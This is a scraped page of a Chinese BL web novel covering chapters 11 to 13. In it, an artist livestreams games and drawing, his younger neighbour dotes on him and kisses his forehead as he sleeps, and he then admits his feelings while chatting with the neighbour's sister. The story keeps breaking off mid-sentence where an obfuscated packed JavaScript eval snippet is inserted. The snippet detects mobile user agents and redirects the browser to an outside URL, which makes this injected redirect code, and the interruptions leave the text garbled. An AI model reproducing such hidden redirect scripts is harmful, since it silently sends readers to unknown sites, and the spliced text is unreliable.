35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248887|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“白皮小哥?哦哦,我旁边的人是吧?我弟弟,邻居家的。”他一手托着手机,另一只手在游戏里领取经验道具。 柯杭将镜头对准平板:“你们有人玩这个音游吗?我有个问题想问一下。”他点进专辑挑战,滑到一张专辑,用食指指着:“这个国人原创,里面第一首曲子9级难度,我失误到全部道具都没了,最后得了个B。” 他食指往左边挪了几厘米,指尖点着一个满星专辑:“还有这个,诸神黄昏……”他顿了顿,“确实挺末日的,游戏开始不到半分钟就傻了。” “这些真的是单人能完成的难度吗?”柯杭诚心发问。 [233333真有人能玩。] [菜就多练,输不起别玩。] [所以今天画贺图吗画贺图吗画贺图吗?或是小条漫!!我可爱看你之前放在微博的小条漫了!] “啧,不是输不起,就是太超过了。”他想了想,抓住最新一条评论回复了一下:“小条漫?确实是很久没画了。打完游戏再画,最近有新素材。” 评论来了一波小潮流。 [那个小条漫已经有一年没更新了!!!奶奶!你以前追的条漫终于要更新了!!] [爷青回,小一终于能重见天日了吗/仰天流泪] “没那么夸张,不会鸽——” 忽然,一只手扶住他手中的手机,“站起来一下。” 柯杭照做。 “可以坐下了。”李一谦将支架放平稳,镜头固定住后,重新坐回柯杭身边。 他刚去房间翻找前两年放在这儿的坐垫了。 “这是干啥啊!”柯杭跟屁股着火一样站起来,被李一谦摁下去。 李一谦声音有些疑惑,似乎不理解他的行为:“你刚才那样玩手腕不会酸?” 柯杭犹如被当头一棒,确实挺酸的,但也还好,开下一首曲子的时候转转手腕就好了,“一点点。” “坐高一点,你手腕就不用使劲儿抬着了,我们打一把试试。 “哦。”柯杭迅速点击开始游戏,对李一谦说:“准备准备。” 此时的直播间画风跟刚才又不一样了。 [最开始我以为可可是个可爱萌妹,结果是个酷酷小帅哥。但现在看他和邻居弟弟的相处!!wksl] [哈哈哈哈完全就是笨蛋美人!!!] [姐妹们,稍等一下,可可重新坐下的时候反应是不是不太对啊,那动作就…挺欲盖弥彰的?] 而两位当事人毫不知情,沉浸在音游中无法自拔。 柯杭一左一右的两根食指快出残影,生怕连击中断:“上强度了啊这是。” “好快好快好快!!”李一谦嘴上喊着,指尖滑动在游戏里倒显得游刃有余:“哥!抬下左手!” 柯杭下意识抬起左手,李一谦的手指从第一键位滑到第三键位,中间曲折万分,回到第二键位。 “你不会刚才记住了吧?”柯杭诧异道。 他刚入手游戏的那几天看了一下别人对游戏的评价,有个网友说和同学打赌能弹完一首11级曲子,通宵练了一晚硬生生把键位全部背下来。 左边两个键位难度升高时,右边的键位难度就没那么高。 “刚才我慌了,再慌一次连击就该断了。” 要不是手不空,柯杭很想像以前一样揉揉李一谦的脑袋,“聪明蛋子。” 11. 眼药水 两人一起玩了几把后,李一谦注意到柯杭转手腕的动作。 “不打了,休息一会儿。”李一谦捞过一边正在直播的手机,看了眼后给柯杭念:“她们说想看你画画了。” 柯杭准备再开一把的动作顿住,“呃,行吧。” [我们只是说他菜,没有说想看他画画,当然画画也行,但他画画太安静了] [很少看见可可话这么多(bushi)] [弟弟,我好久没看可可少爷笑得这么开心了……老管家的泪水/] [哈哈哈哈哈哈哈哈看弹幕笑得我疯狂捶床我妈骂我神经病。] 李一谦把手机递给柯杭,柯杭将镜头翻转,直播间出现他不加修饰的脸。 他遮住嘴打了个哈欠,“等我一下。”然后在平板上戳戳点点,点录屏直播,选了绘画分类。 “好了,听我号令,转移阵地!我关这个直播了啊。”柯杭扭头看向李一谦,举起平板晃了晃,“我回房间画画了。” 李一谦跟在他屁股后面,“我要看。” “看看看,别影响我就行。” 主卧有个很棒的窗台,柯杭在窗台上放了一张伸缩小桌,一个坐垫,坐垫后有很多靠枕。 柯杭脱掉鞋子坐上去,让李一谦自己找地方坐。 之后的时间仿佛按了加速键,柯杭沉浸于绘画之中,屏幕角落的弹幕飘过却没在意过。 直到李一谦做好饭。 “吃饭了哥,已经做好了。”李一谦在门口敲了敲门。 过了好一会儿,他重新来到门口,见柯杭没反应,进房间站到柯杭身旁,手搭在对方的肩膀上,指腹轻轻按揉着有些发硬的肌肉。 “吃饭。” 柯杭躲了下他的手:“再等会儿,轻点儿,痛。” “你坐太久了,肌肉都发硬了。”李一谦重新将手放上去,只不过用劲儿更轻了些,跟抚摸没什么区别了,“先吃饭,吃完饭我给你揉揉,不然半夜又疼得睡不着。” 电子笔被夹在指间,手指还在不断放大缩小画布,查漏补缺,柯杭随口问,“几点了?” “下午两点了。” “我为什么没闻到饭菜香?”柯杭鼻子嗅了嗅,手一刻没停地添加新图层,标了几处可增改的部分。 连直播间里的粉丝都能察觉他在拖延时间了。 [弟弟:吃饭。可可:嗯嗯嗯嗯嗯嗯嗯嗯嗯。可可你还能再敷衍一点吗!!!] [回想两小时前我妈叫我吃饭,答应后没立马出去,直接被河东狮吼。] [ky抱歉,但真的好宠qwq弟可我可以。] 李一谦好脾气地说:“因为做饭的时候我把你的门关了,刚才已经叫过你一次了,我冲了个澡回来才又叫你的。” 哦,冲澡。 柯杭想起李一谦洗完澡不喜欢穿上衣,他停下手中的动作,抬头。 少年穿了一件黑色背心,胸口那里鼓囊囊的,窗外的一缕阳光落在他的腰腹上,有点刺眼睛,视线往下移,柯杭觉得自己有些手痒。 “别动。”他说。然后眼疾手快抓住黑色背心的衣摆,手往上一抬,衣服也跟着往上。 柯杭能看见对方肌肉瞬间紧绷起来,腹部的沟壑更加明显。 爽了。 李一谦从小皮肤就嫩,长得也很可爱,柯杭很喜欢,但小时候不懂喜欢,只会经常逗他玩,逗哭了再手忙脚乱去哄。 不可否认的是,李一谦现在的身材确实不错,皮肤也确实白,加上太阳的辅助,白得晃眼。 “不错。”他欣赏够了,拍拍对方的腹肌后,松开衣服。 衣衫自然垂落,回到最开始的样子。 不对,有些过于沉默了。 柯杭仰头看李一谦的脸,对方紧紧盯着他,脸上的表情却是无措的。 他挑眉,“你这是什么表情?” “……没。” 李一谦攥紧自己的衣角,连忙转身往外走,“吃饭了…” “诶,你走那么快干嘛啊。”柯杭叫他。 李一谦几乎落荒而逃。 忽然记起自己还在直播,柯杭把电子笔放回笔槽,保存进度,看了眼弹幕。 [什么什么什么,发生了什么,什么不错???刚才的啪啪声又是什么?] [弟弟跑得好快,脚步声好大,可可你对人家做什么了!!!] 柯杭有些无奈,“没做什么啊,我就夸他身材不错。好了我先下播了,八点到两点,大半天了都,下次见。” 柯杭关掉直播,伸了个懒腰,脚刚落地时,一阵麻痛感直冲脑袋顶,他大喊李一谦,“二谦!过来扶我一下,我腿麻了!” 然后在心里倒数,十,九,八,七…… 两人不尴不尬地吃完饭,柯杭准备洗碗,李一谦没让。他的手,李一谦比他本人还心疼。 于是他开始纠结等会儿干什么,要不要睡会儿午觉。外面正当热着,他也不想顶着大太阳去工作室,哪怕是坐在车里也不想。 但现在游戏玩了,画过画了,按理说还可以玩会儿手机,但刚才高强度用眼,眼睛已经有点儿不舒服了。 柯杭倒在沙发上,翘着二郎腿,脚一晃一晃的,见李一谦出厨房,便问:“二谦,你等会儿做什么?” 李一谦洗完碗后切了一个橙子装盘,端过来放在茶几上,坐在柯杭身旁。 “哥等会儿想做什么?” “有点想睡觉。”说完柯杭就打了个哈欠。小病初愈,疲乏一些也是正常的。 说实话,他周围学美术的这群人就没有几个不是夜猫子,经常熬个大夜,白天睡,晚上灵感来了继续熬。 就此循环往复。 如果哪一天早睡了,那一定是通宵追回了“正常”时间。就像李一谦来之前他赶稿的那次一样,睡了一天一夜。 自从李一谦来了后,柯杭的作息不是正常了一星半点儿。李一谦没有现在年轻人熬夜的通病,相反,他的作息很正常。 什么,你问怎么可能。 柯杭可太清楚了,如果李一谦熬夜了,那一定是被他带的。他会带李一谦打游戏,偶尔实在无聊了也会让李一谦跟他一起画画。 和李一谦一起,不管是一块玩儿还是就在同一空间各干各的事,柯杭都觉得很舒服,因为李一谦很有分寸感。 而这分寸感把握的恰好,既熟稔又不干扰他的私人空间。 偏偏柯杭就吃这套。 连画几个小时的画,如果是黄姐,要么不管他,要不直接拉着他出去吃饭,不会让他把那一块儿画完。如果是李一谦,会拿点糕点来喂他,还会贴心地喂水。 小天使一个。 好吧,柯杭不得不承认,自己确实有点双标。 不然也不会在误解后,还会和李一谦保持尴尬的联系。 “颈椎这儿酸不酸?”李一谦的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248888|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触碰到柯杭的颈部,揉了揉。 柯杭大喊:“痛!” 喊完后他觉得好了不少,但酸痛的感觉更甚,有些苦恼,往上仰面,浅色瞳孔周围布满血丝,他眨眨眼,“给我按按吧。” 见李一谦不说话,他拿出求人办事的态度:“谦哥?帮帮忙?” “先滴眼药水。”李一谦起身回房间拿眼药水,颇有同手同脚的即视感。 他很快回来,柯杭还是那个姿势没动,不过手很不老实地在揉眼眶。 “之前买的眼药水用完了吗?”李一谦重新坐下,问。 柯杭松开手,看他的眼睛红红的:“算是用完了吧……”因为都莫名其妙不见了。 这么多年的相处,李一谦对柯杭的表情数如家珍。 现在柯杭的双眼不自在地垂下,手下意识地摸着耳后的骨头,这是柯杭说谎或是心虚的表现。 “我知道了,肯定是用了没几次就找不到了,是吧。”李一谦用肯定的语气来回应他的话。 以往两人经常在一块儿时,柯杭眼睛酸胀时,滴眼药水这种事都是李一谦代劳。 因为柯杭害怕滴眼药水,宁愿敷湿毛巾也不愿意滴眼药水,愿意让李一谦给他滴眼药水,又是一个例外。 这件事还得从他初三开始说。 那时候他空闲时间就会画画打发时间了,初三课业紧,作业多,他又爱熬夜去完成自己的灵感。 他永远不会忘记,那个时候过敏性结膜炎,李一谦看见他的眼睛吓了一跳,竟是跟着红了眼眶,要哭不哭的样子,怕他瞎了。 柯杭说自己没事,已经吃了药了,李一谦也不信。当时他看了眼药堆里的人工泪液,咬咬牙,拿起递到李一谦手上,“好了好了,要瞎也是我瞎,不放心的话,喏,给我眼睛滴药行了吧?” 听完他的话后,李一谦却是更委屈了,“我不要你瞎。” “不瞎不瞎。”柯杭心力憔悴,按住李一谦肩膀让其坐到沙发上,自己躺到对方大腿上,睁大眼盯着李一谦,指着自己眼睛:“快点儿,这儿,给我滴。” 他的想法是好的,让李一谦参与到自己的治疗中,这样小孩儿就会觉得自己帮忙了,会开心点。 都睁大眼让李一谦滴了,对他够好了吧。 结果几滴似乎还带着温度的泪珠,落在他的眼角,与他的生理泪水汇在一起又滑落。 柯杭下意识眨眼,偏头看向李一谦时,愣住了。他抬手触碰自己的眼角,或是说那几滴泪。 天哪。 要知道,以往他怎么逗李一谦,对方都不会哭,最多生气地说“今天不和哥哥玩了”或是眼睛红一下,现在竟然哭了? “哥?” “你听我说话没有?你不好好爱护眼睛的话,眼睛迟早会出问题。” 柯杭思绪正神游天际,与回忆中的相似的声音和现在重合起来。 “嗯?”他应了声。 “没事,你抬下头。” “哦。”柯杭抬头,脑袋枕上李一谦的腿。 时隔一年,感觉李一谦的腿部肌肉更有力了,不像小时候一样软乎。 他抬眼,似乎想将以往哭得差点把鼻涕都掉他脸上的小孩儿和现在对应起来。 想象一下,如果是现在的李一谦,哭得一把鼻涕一把泪,还要给他滴眼药水,柯杭乐出了声,捂着肚子止不住笑。 举着眼药水准备滴的李一谦:“?” 12. 李一谦喜欢他 柯杭笑个不停,李一谦不明所以但陪着他笑。 好不容易停下来后,柯杭揉了揉发酸的脸颊:“你应该委屈巴巴地掉眼泪才对。” “为什么?”李一谦不解。 柯杭张大嘴又闭上,缓解笑后的不适,眼睛弯弯的:“你还得记得吗,你第一次给我滴眼药水的时候。” 说完他将手摊到沙发边上,举起抬高:“唔,当时你大概这么高?” “不记得了。”李一谦抿抿唇,一错不错地看着柯杭的眼睛。 柯杭听见后立马就要笑,但好歹控制住了:“哈哈哈哈,算了先不提这个,先给我滴了,不然我又想笑了。” 李一谦笑了笑,左手扶住柯杭的脑袋,固定在自己腿上。柯杭的眼睛睁得大大的,李一谦用手指贴着他的睫毛往上压,右手拿着小瓶子,一滴落在手背上,第二滴落进柯杭的眼眶。 柯杭下意识闭眼,眼皮和下眼睑却被李一谦的手指控住,直到瞳孔一阵清凉,眼皮的束缚被解开。 他在心里想:闭上眼,眼睛顺时针转一圈再眨眼。 果然,李一谦的声音响起:“闭上眼,眼睛顺时针转一圈后再眨眼。” 一字不差。 这些他都知道,却不在意。但不知道什么时候起,李一谦操心起来,还会仔细叮嘱他。 眼药水滴完,柯杭更累了。坐起来扭扭脖子,准备回房间睡个午觉,晚上再出门。 工作室群里大家约了晚上八点集合,还有四五个小时,够睡。 “你等会儿做什么?”柯杭问。 李一谦想了一下自己昨天列的计划表:“学会儿英语。” 他爸李启铭还给他找了专业的网课,让他没事就学。说是这样说,但又要他每周反馈学习进度。 “哦,行吧。”柯杭打着哈欠回房间了,嘴里还在小声嘀咕:“还说让你给我按一下脖子。” 李一谦笑了,在他身后说:“你先去躺着,我马上来。” “你先去躺着,我马上来。” 柯杭转身看了他一眼,指指空调。 李一谦会意:“好,我等会儿进来的时候关。” 卧室的空调没有关,柯杭躺床上把今天画的半成品放在微博,又去粉丝群逛了一圈,终于等到了人。房间门被推开,他把自己翻了个面,后背露给李一谦,如同以往很多次一样。 李一谦推开门视线就被趴床上的人勾住。柯杭的头发散乱在颈侧,短袖下摆被蹭至腰间,露在外面的那截腰上还有几道红痕,应是才刚挠的。他刻意忽略短裤下的浑圆,视线再往下便是线条流畅的双腿。 有些时候李一谦实在是想不通,柯杭究竟是故意的还是心大。 那天说开后,他难道没有告诉柯杭自己很喜欢他吗? 柯杭说喜欢男的,他也做了一定的明示,李一谦真的有些苦恼了。 本以为那晚之后柯杭会觉得尴尬,没想到柯杭晚上带他出门,愿意和他一块儿睡觉,处处透着以往的亲昵。 是没把他说的喜欢当一回事吗? 李一谦站在原地没动,属实是有些想不通。 “站在门口干嘛呢?”柯杭没回头,脚背点点床。 他早就听见李一谦的声音了,到了门口就没动。 李一谦开口应他,声音莫名有些哑,“来了。”他走到床边,两腿分开,虚虚跨坐在柯杭腰上。 以前为了讨爸妈欢心,李一谦跟着爷爷学过按摩,知道按哪里最让人放松。爸妈工作原因不经常回家,他的按摩手艺大多由柯杭享受。 他们之间,有太多不成约定的习惯。 李一谦双手贴在柯杭的下颌,感受到脉搏的跳动,肩颈被空调吹得冰凉凉,不小心用力了些,身下的人便会闷哼一声。 他将肩颈部揉搓发热,按压,柯杭的呼吸逐渐粗重起来。 “轻点儿。”柯杭声音有些痛苦,“我们就不能跳过这一步骤么。” 每次皮肤被搓热后,耐受度都会降低不少,哪怕李一谦动作不大,柯杭也会觉得痛,他只能靠和李一谦说话来缓解疼痛。 哪想这次李一谦根本不说话。 “你怎么不说话。”柯杭勾起小腿靠感觉去踹李一谦的背,触碰的一瞬间只觉得暖和。 李一谦手擒住他的脚踝,感受着肌肤的温度,听不出喜怒:“好好睡觉吧哥,我轻点儿。” 将柯杭的腿按下,扯过一旁的被子给人盖上,李一谦又老老实实做起按摩的活计来。 他声音不大,柯杭刚好能听清:“你刚才笑我第一次给你滴眼药水的时候哭,我想起来一些了。你当时眼睛真的很红很红,仰头看你的时候眼里像盛满了红色的血,很吓人,我很难过。” “而且明明就是你吓我,你问我:’哥哥眼睛要是看不见了瞎了,你还和不和哥哥玩呀’。我说:’不会的,哥哥好好吃药就不会有事’,你又骗我说你吃的药没用。” 柯杭听他在自己背后说这些事,没了刚才的乐呵,想着“你才骗子,刚还不记得,现在就连我说的话都记得一清二楚”。 没别的,就他哄人的那个语气,李一谦模仿的太像了。 柯杭:“哈。” “按完后翻个身,再给你揉揉手腕,好不好?” 不得不承认,李一谦的按摩技术是真的好,柯杭被按的很舒服,浑身的肌肉放松后,意识也跟着迷糊起来:“嗯。” 他用最后点力气往背后抓了抓,“过会儿叫我。” 也不知道李一谦听不听得到。 李一谦给柯杭弄了个半身按摩,膝盖跪得有些痛了,他不敢真坐柯杭身上,怕把人压着,对他来说也有点超过。 将柯杭的身体放平在床上,盖好被子后,李一谦才将自己的手伸进被窝,握住柯杭的手开始揉捏。 李一谦就这样看了柯杭很久,身体前倾又坐直,缓解久坐的酸痛。 他用指腹抚触柯杭的每根手指,碾过每个穴位,松手时被对方的指尖轻勾了一下,也心动不已。 他恋恋不舍地收回手,替柯杭掖了掖被角。 李一谦眉头微蹙着,似在纠结复杂万分的事情。 忽然,他眉头舒展开来,下一刻,嘴唇紧绷,一手撑着床沿,俯身靠近柯杭的脸颊。 他停顿了很久,甚至感受到自己炽热的鼻息,才下决定将唇上移。 嘴唇停在柯杭的额头上,落下一个意义不明的吻,一触即分。 李一谦摸了摸自己的嘴唇,上面似乎还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248889|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方的体温。意识到自己做了什么,他慌忙直起身子,掌心贴着胸膛,剧烈地跳动让他面红耳赤。 眼睛能藏住的喜欢,瞒不了心脏。 不知过了多久,李一谦小心地掀开被子一角,侧躺在柯杭身侧。他握住柯杭的手,将其贴在自己的胸膛,闭着眼,低声喃喃:“跳得更快了。” 室内安静下来,李一谦听到柯杭无意识地哼哼声,才猛地松开自己的手,下床慌张出逃。 可哪怕这样,他动作都是极轻的,怕打扰了床上的人一样。 门被轻轻带上,室内重归寂静,床上的人缓缓睁开双眼后,又马上闭上将自己裹紧被子里。 在被子里闷了很久,柯杭伸出上把手机带进被窝,点开微信,翻找能倾诉的人。 他不行了,真顶不住了。 李一谦刚才怎么亲他了?是手没撑住不小心嘴巴碰到他了? 点开李一妍的资料卡,柯杭混乱的脑袋里抓不住一丝清明,里面有两个小人在打架。 一脸心虚的小人犹豫道:“真能找李一妍吗?这可是她弟弟,会不会不太好。” 另一个满不在乎的小人坦坦荡荡:“不找她找谁?难不成去找他们爸妈吗?那才是真不好。” “可是……” “你在纠结什么?你跟李一谦之前是误会,又没有发生关系,醉酒后关系好的人亲亲抱抱也是很正常的,你看琨哥喝醉酒不是逮着个人就要亲?” “那也是亲了……” “不是亲回来了吗?” “可是……” “拜托,你是被亲的那个,而且他居然还拿你手摸他胸肌,这合理吗!” 是哦。 脑海中的一言一语让柯杭的肢体做出反应。 找,必须马上找。 我有个朋友,有天发现自己弟弟是同性恋,你觉得她会想什么? 不对不对,删掉删掉。 我一朋友,他跟他弟弟关系还不错,但某天他朋友告诉他,他弟弟喜欢自己…… 柯杭抓了抓头发。 不行啊,这跟报身份证有什么区别。 一段文字删删减减,将近十分钟柯杭才发送出去。 不管了,爱咋样咋样吧,反正李一妍不会怎么样。 [木]:二谦有喜欢的人没? [李一妍]:?干嘛 看来李一妍不知道。 [木]:我觉得,嗯,他可能有点…… [李一妍]:我也觉得有点儿。/点头 柯杭看对方发过来的消息就知道,李一妍一定没认真想他说的话。 于是再接一把力:“我感觉,他可能喜欢男的?” [李一妍]:还好吧,他干啥了你这样觉得? [木]:没,只是跟你讨论一下青少年的成长问题。 柯杭还是说不出口。放下手机,他用李一谦刚才抓住的那只手贴在胸膛。 不知道为什么,这只手的温度迟迟没有降低。 心脏跳动得更快的,不止李一谦。 消息提示音响了一声,是李一妍发过来的一条长语音,柯杭直接转文字,看后如遭雷击。 柯杭:? 不是,你说什么? 13. 出来赏月 柯杭觉得自己手机的语音转文字功能出现了故障,不然他看见的是什么东西? 李一妍的声音从听筒传出,还夹杂着碗筷嗒嗒声:“不逗你了,给你点儿有用消息。他寒假跟家里出柜了,说喜欢男的,也没闹几天,我爸妈轮番给他谈了几天心。” 下一条语音很快被接收:“我还以为您这个迟钝的老人家,终于发现他对你的心思了,要不就是发现你俩太gay了该保持距离了,没想到你还是一窍不通,可怜我的弟弟哟。” 柯杭听完一遍,又转文字看了一遍,两遍,三遍。 没有不认识的字,断句也没问题,可是他怎么不太看得懂。 还有,什么叫做一窍不通?李一谦又哪里可怜了?自己管他吃管他住。 柯杭不服,打字责问:他哪里可怜了?我莫名其妙被亲了不可怜吗?! [李一妍]:哇哦!亲了?好哇!你这次又是睡得昏天黑地叫不醒? [李一妍]:我可怜行了吧。我的弟弟,从小到大给你当牛做马,和我一周不聊一次天,但天天找你,我不可怜吗? 柯杭刻意忽略掉它的上一句话,反驳道:“那是你自己的问题。” [李一妍]:行,毕竟年纪小,重色轻姐,能理解。 李一妍还在那边叨叨,说从小到大爸妈带回去什么好玩的好吃的,弟弟拿了自己的隔天就会给他送来,又说难得的旅游看到好玩的东西都会想着他找爸妈借钱买,那是她第一次看见李一谦预支零花钱。 他们家的零花钱是靠自己挣的,洗碗拖地丢垃圾,李一谦攒了不少,但不够。一问才发现是要买给柯杭的,连她爸都有点儿吃味,觉得孩子懂事又觉得孩子胳膊肘往外拐。 听得越多,看得越多,就有越多的触动。 他忍不住想知道过去他没了解的李一谦,又觉得这太不对劲了。因为李一妍说的每一句话,好像都隐含了一个意思:从小到大,他对李一谦都是特别的,李一谦喜欢他。 [李一妍]:你难道不喜欢我弟吗?又高又帅身材又好,爸妈都是高知分子,又有我这么一个牛逼的姐辅助他的成长。 [李一妍]:而且,你难道从没觉得你们之间的关系,亲密过头了吗?反正我和姜玥不这样。 姜玥是李一妍的发小,从幼儿园开始就玩得好,只是初中没在同一个学校,高中时他们偶尔一块儿玩。 [木]:什么意思。 [李一妍]:你不会还想着去年骗你感情的那个沙币男人吧?不至于吧? 想到去年那个男的,柯杭皱眉,打字的力气都大了不少:怎么可能?我看着很像傻逼吗? 李一妍秒回:挺像的。 [李一妍]:你和李一谦都挺有病的。 [李一妍]:你们两个不是住一起吗?为什么两个人都要给我发消息?同床异梦? [李一妍]:我真服了。 柯杭愣了一下,想到李一妍的德行,手指动得飞快:“不准把我们的聊天截图给他看!” [李一妍]:怎么?你要给他上强度让他猜?别太欺负小孩儿了哈。 [木]:你也知道他是小孩儿? [李一妍]:五岁而已嘛,再说都成年了,肥水不流外人田,近水楼台先得月,本来以为他喜欢别人,我还不放心,结果是喜欢你,我一颗心稳稳的,加油哦杭哥。 柯杭关掉手机,在被子里把自己蜷起来。 为什么啊。 他比一年前还迷茫。 是了,大学后喝醉酒,朋友们都说他喝醉酒之后胆子比平常大,会在马路上高声唱歌,订第二天回家的票说要回去看弟弟,会抱着朋友叫李一谦的名字抱着不撒手。 朋友告诉他时,他说李一谦是他弟弟,一个人在家,不放心。 那次意气用事喝醉酒,去找李一谦完全是下意识的。他没有记忆,不知道自己做了些什么,但第二天醒来还是先入为主觉得两人发生了些什么。 或许他是真的期盼发生些什么? 为什么? 因为喜欢,因为挂不住面子,于是匆匆离开,逃避自己的这份感情。 明明他很担心李一谦自己一个人,那过去一年,他又是抱着怎样的心情不去主动关心呢? 柯杭觉得脑袋又晕起来。 不知过了多久,他叹了口气,点开手机,找到李一妍:“我承认我喜欢他,但是,如果我们真在一起了,会不会不太好?” 李一妍发来语音,语调懒散:“不会啊,有什么不好的?我这边没什么意见,我爸妈也不吃人。更何况,你之前出柜你爸妈哥姐不是都没说什么吗?所以有什么不好的?” “我承认你大部分时候都很有艺术感,和朋友也能相处很好,但你不能因为名字里带两个木字,在感情里就真是木头。迟钝就算了,别逃避就行。如果成了,姐姐给你包个大红包。” 柯杭眉眼终于染上笑意:“行,我知道了。” 已知,李一谦喜欢他并且偷亲他,求:两人如何在一起? 柯杭将脑袋伸出被子,呼吸着新鲜空气,指尖无意识挠着床单。 他忽然想到,前段时间他跟李一谦说自己喜欢男的,让李一谦最好和他保持距离,李一谦说什么来着? “我是男的。” “我说我是男的。” 我靠。 柯杭脑子一瞬间发懵,敢情那个时候,李一谦是在推荐自己? 看不出来啊。 心跳越来越快,完全没有缓慢下来的趋势,柯杭情不自禁地想,不会是犯不存在的心脏病了吧? 手机叮咚一声,李一妍的消息又来了:你先别跟他那么快在一起,这段时间多磨合磨合,合适再处。 看着这段文字,柯杭似乎琢磨出点什么了,他面无表情打字。 [木]:你的意思是,他来我这儿住都是有预谋的? [李一妍]:一个帅哥给你洗衣做饭拖地陪吃陪聊陪睡,你没爽到? 柯杭:…… 那确实是爽到了。 [木]:你知道你现在像什么吗? 李一妍发了条语音来:“人美心善牺牲自己的休息时间帮助傻子弟弟和傻逼朋友的天使。” 柯杭默默把自己准备发出去的两个字删除,回了个“嗯”。 卧室内很凉快,他的身体却很热。 柯杭平躺在床上盯着天花板,直到李一谦悄悄进卧室,他才立马闭上双眼。 装睡。 本以为李一谦会又亲他一下,没想到只是在床边呆了几分钟。 忽然肩膀被拍了拍,柯杭心跳急剧加速。 “哥,该起床了,快七点了。”李一谦压低了声线。 应该是怕他有起床气。 但他真没有啊,只是李一谦太好欺负了。每次李一谦反复叫他起床,他都会很爽。 以前李一谦小小的,声音也嫩嫩的,趴到床边推推他的胳膊说:“哥哥该起床啦。” 想到这儿,柯杭手轻轻搭在李一谦手背上一瞬,翻了个身,把人甩在身后,模仿出没睡醒的样子:“再睡会儿。” 静了几秒后,李一谦才开口:“那再睡十分钟,我再来叫你,好不好?” 柯杭没应他,被子里的手紧紧贴在胸口,试图掩藏心如鼓擂的反应。 或许是他的装睡太成功,李一谦信了,于是大胆起来。 他的头发有被触碰的感觉,是李一谦用手指勾了一缕,似乎绕着手指打转,然后默默离开。 房间里只有他一个人了。 柯杭震惊于李一谦真的会偷偷搞这些小动作,以往都是光明正大的。刚才想事情想的太入迷,没注意时间,现在他倒真在意起几点了。 一看时间,确实快七点了。 意思是,他从三四点躺床上后,李一谦给他按摩一小时,他自己沉思了两小时。 只花两小时就接受了这件事还想通了,脑袋真聪明,柯杭你真牛逼。 柯杭盯着屏幕的同时,感觉到周围有打量的视线,但李一谦已经出去了,他只当是自己的错觉。 看了下工作室的群,大家在为晚上的讨论会出谋划策,具体是指买吃的喝的玩什么…… 他快速浏览到底部,收起手机伸了个懒腰,余光中瞥到门边有一道人影。 柯杭只觉浑身的肌肉的紧绷起来,下意识往后退,头一下撞到床板上,他终于忍不住捂着头,大骂:“我操。” 而那道人影在听到他的哀嚎后,立马将灯打开,凑到他跟前,一只手贴着他的脸不让乱动,另一只手小心翼翼地触碰他的脑袋,语气懊恼又心疼:“撞到哪儿了?这儿吗?还是这儿?” 柯杭气笑了:“有病啊,搁墙角cos男鬼。” “对不起哥,我本来想把门掩上在床边坐着等你会儿的,结果你拿手机出来,我以为你只是看下时间,我怕……” 李一谦的慌乱不做假,他的头痛也不做假。两不相像的两只手,一只没动,另一只在它周围轻轻摸着。 柯杭觉得自己才有病,就这么慌乱的现场,他竟然还能品出一丝旖旎。如果是在做的时候,因为太用力导致撞到头,李一谦会是什么反应? 他盯着对方心疼的模样,忽然笑得更诚心了,把脑袋上的手抓下来甩开:“一边玩儿去。” 而后,李一谦便像小学生一样站在床侧,低垂着头,像犯错的小狗。 看得柯杭有些心软,“不疼了,真的,只是声音大了些。” 李一谦缓缓靠近,伸出一根指头戳了戳他胳膊,“那我摸摸。” “摸摸摸。”柯杭把脑袋支过去,嘴里调侃着:“就让你给我按个摩就报复我吓我,还得我撞到头,以后再让你做点儿什么我岂不是还得遭罪。” 李一谦摸到鼓气的包,语气着急:“不会!”然后就要转身出房间,“我去拿冰袋给你冰敷一下。” 人一溜烟儿跑了,柯杭在床上轻轻碰自己脑袋上的包,烫烫的,还很疼。 外面一阵窸窸窣窣,李一谦很快回来了,手上拿着冰袋和毛巾,他半跪在床上,让柯杭的下巴抵在他的胳膊肘上,固定住对方的脑袋:“可能有点疼。” “嘶。”柯杭直抽气,他是个怕疼的,脑袋上的冰毛巾压在撞击处,冰火两重天,他看不见李一谦的表情,但能感觉到紧绷的肌肉。 算了,孩子也不是故意的,于是找话说:“我现在气血翻涌,感觉冰娃和火娃在我脑袋上开会。” “对不起。”李一谦用手指爱惜地抚了抚他的耳鬓,“我下次不会了。” 本来就是怕出声吓到柯杭,没想到适得其反,不仅吓到了还让人受伤了。 冰敷完成,李一谦起身准备离开,柯杭叫住他,拍了拍自己身旁的空位,“坐,我问你点儿事。” “什么?”李一谦站着没动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 